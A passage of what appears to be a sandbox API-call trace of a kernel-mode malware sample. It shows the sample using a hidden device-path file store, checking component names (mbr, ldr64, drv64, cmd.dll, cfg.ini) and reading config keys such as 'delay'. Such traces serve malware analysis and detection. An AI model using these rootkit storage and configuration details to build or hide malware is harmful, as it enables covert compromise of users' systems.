(Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.214] ReleaseMutex (hMutex=0xf0) returned 1 [0126.214] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0126.214] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0126.214] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0126.214] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.214] KeEnterCriticalRegion () [0126.214] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.214] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.214] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.214] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.215] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.215] IdePortDispatch () returned 0x103 [0126.215] KeWaitForMutexObject () returned 0x0 [0126.215] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.215] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.215] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.215] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.215] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.215] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.215] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.215] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.215] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.215] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.215] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.215] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.215] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.215] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.215] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.215] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.215] KeLeaveCriticalRegion () [0126.215] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.215] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0126.215] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.215] KeEnterCriticalRegion () [0126.215] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.215] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.215] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.215] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.215] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.215] IdePortDispatch () returned 0x103 [0126.215] KeWaitForMutexObject () returned 0x0 [0126.215] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.216] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.216] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.216] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.216] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.216] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.216] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.216] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.216] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.216] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.216] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.216] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.216] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.216] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.216] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.216] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.216] KeLeaveCriticalRegion () [0126.216] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.216] ReleaseMutex (hMutex=0x100) returned 1 [0126.216] Sleep (dwMilliseconds=0x2bf20) [0126.222] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e6dacf0, dwHighDateTime=0x1d24fa4)) [0126.222] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0126.222] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.222] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.222] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.222] KeEnterCriticalRegion () [0126.222] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.222] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.222] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.222] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.222] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.222] IdePortDispatch () returned 0x103 [0126.222] KeWaitForMutexObject () returned 0x0 [0126.222] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.222] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.223] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.223] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.223] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.223] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037ec330 [0126.223] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.223] KeLeaveCriticalRegion () [0126.223] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.223] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.223] KeEnterCriticalRegion () [0126.223] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.223] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.223] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.223] KeLeaveCriticalRegion () [0126.223] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.223] KeEnterCriticalRegion () [0126.223] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.223] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.223] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.223] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.223] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.223] IdePortDispatch () returned 0x103 [0126.223] KeWaitForMutexObject () returned 0x0 [0126.223] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.223] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.223] KeLeaveCriticalRegion () [0126.223] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.223] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.223] KeEnterCriticalRegion () [0126.223] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.223] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034d6000 [0126.223] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.223] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.223] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.223] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.223] IdePortDispatch () returned 0x103 [0126.223] KeWaitForMutexObject () returned 0x0 [0126.224] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.224] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.224] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.224] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.224] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.224] IdePortDispatch () returned 0x103 [0126.224] KeWaitForMutexObject () returned 0x0 [0126.224] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.224] KeLeaveCriticalRegion () [0126.224] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.224] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.224] KeEnterCriticalRegion () [0126.224] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.224] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.225] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.225] KeLeaveCriticalRegion () [0126.225] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.225] KeEnterCriticalRegion () [0126.225] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.225] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.225] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037ec3f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.225] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.225] KeLeaveCriticalRegion () [0126.225] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.225] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.225] KeEnterCriticalRegion () [0126.225] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.225] ExFreePoolWithTag (P=0xfffffa80037ec330, Tag=0x0) [0126.225] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.225] KeLeaveCriticalRegion () [0126.225] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.225] ReleaseMutex (hMutex=0xf0) returned 1 [0126.225] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.225] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.225] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.225] KeEnterCriticalRegion () [0126.225] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.225] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.225] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.225] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.225] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.225] IdePortDispatch () returned 0x103 [0126.225] KeWaitForMutexObject () returned 0x0 [0126.225] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.225] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.225] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.225] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.225] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.225] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ac6670 [0126.225] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.225] KeLeaveCriticalRegion () [0126.225] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.226] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.226] KeEnterCriticalRegion () [0126.226] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.226] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.226] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.226] KeLeaveCriticalRegion () [0126.226] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.226] KeEnterCriticalRegion () [0126.226] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.226] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.226] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.226] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.226] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.226] IdePortDispatch () returned 0x103 [0126.226] KeWaitForMutexObject () returned 0x0 [0126.226] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.226] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.226] KeLeaveCriticalRegion () [0126.226] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.226] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.226] KeEnterCriticalRegion () [0126.226] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.226] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034d7000 [0126.226] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.226] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.226] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.226] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.226] IdePortDispatch () returned 0x103 [0126.226] KeWaitForMutexObject () returned 0x0 [0126.227] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.227] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.227] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.227] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.227] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.227] IdePortDispatch () returned 0x103 [0126.227] KeWaitForMutexObject () returned 0x0 [0126.227] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.227] KeLeaveCriticalRegion () [0126.227] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.227] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.227] KeEnterCriticalRegion () [0126.227] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.227] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.227] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.227] KeLeaveCriticalRegion () [0126.227] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.228] KeEnterCriticalRegion () [0126.228] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.228] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.228] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.228] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.228] KeLeaveCriticalRegion () [0126.228] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.228] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.228] KeEnterCriticalRegion () [0126.228] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.228] ExFreePoolWithTag (P=0xfffffa8003ac6670, Tag=0x0) [0126.228] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.228] KeLeaveCriticalRegion () [0126.228] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.228] ReleaseMutex (hMutex=0xf0) returned 1 [0126.228] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.228] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0126.228] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.228] KeEnterCriticalRegion () [0126.228] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.228] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.228] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.228] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.228] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.228] IdePortDispatch () returned 0x103 [0126.228] KeWaitForMutexObject () returned 0x0 [0126.228] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.228] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.228] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.228] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.228] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.228] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e0250 [0126.228] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.228] KeLeaveCriticalRegion () [0126.228] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.228] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.228] KeEnterCriticalRegion () [0126.228] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.229] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.229] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.229] KeLeaveCriticalRegion () [0126.229] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.229] KeEnterCriticalRegion () [0126.229] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.229] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.229] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.229] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.229] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.229] IdePortDispatch () returned 0x103 [0126.229] KeWaitForMutexObject () returned 0x0 [0126.229] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.229] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.229] KeLeaveCriticalRegion () [0126.229] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.229] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.229] KeEnterCriticalRegion () [0126.229] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.229] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034d8000 [0126.229] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.229] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.229] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, 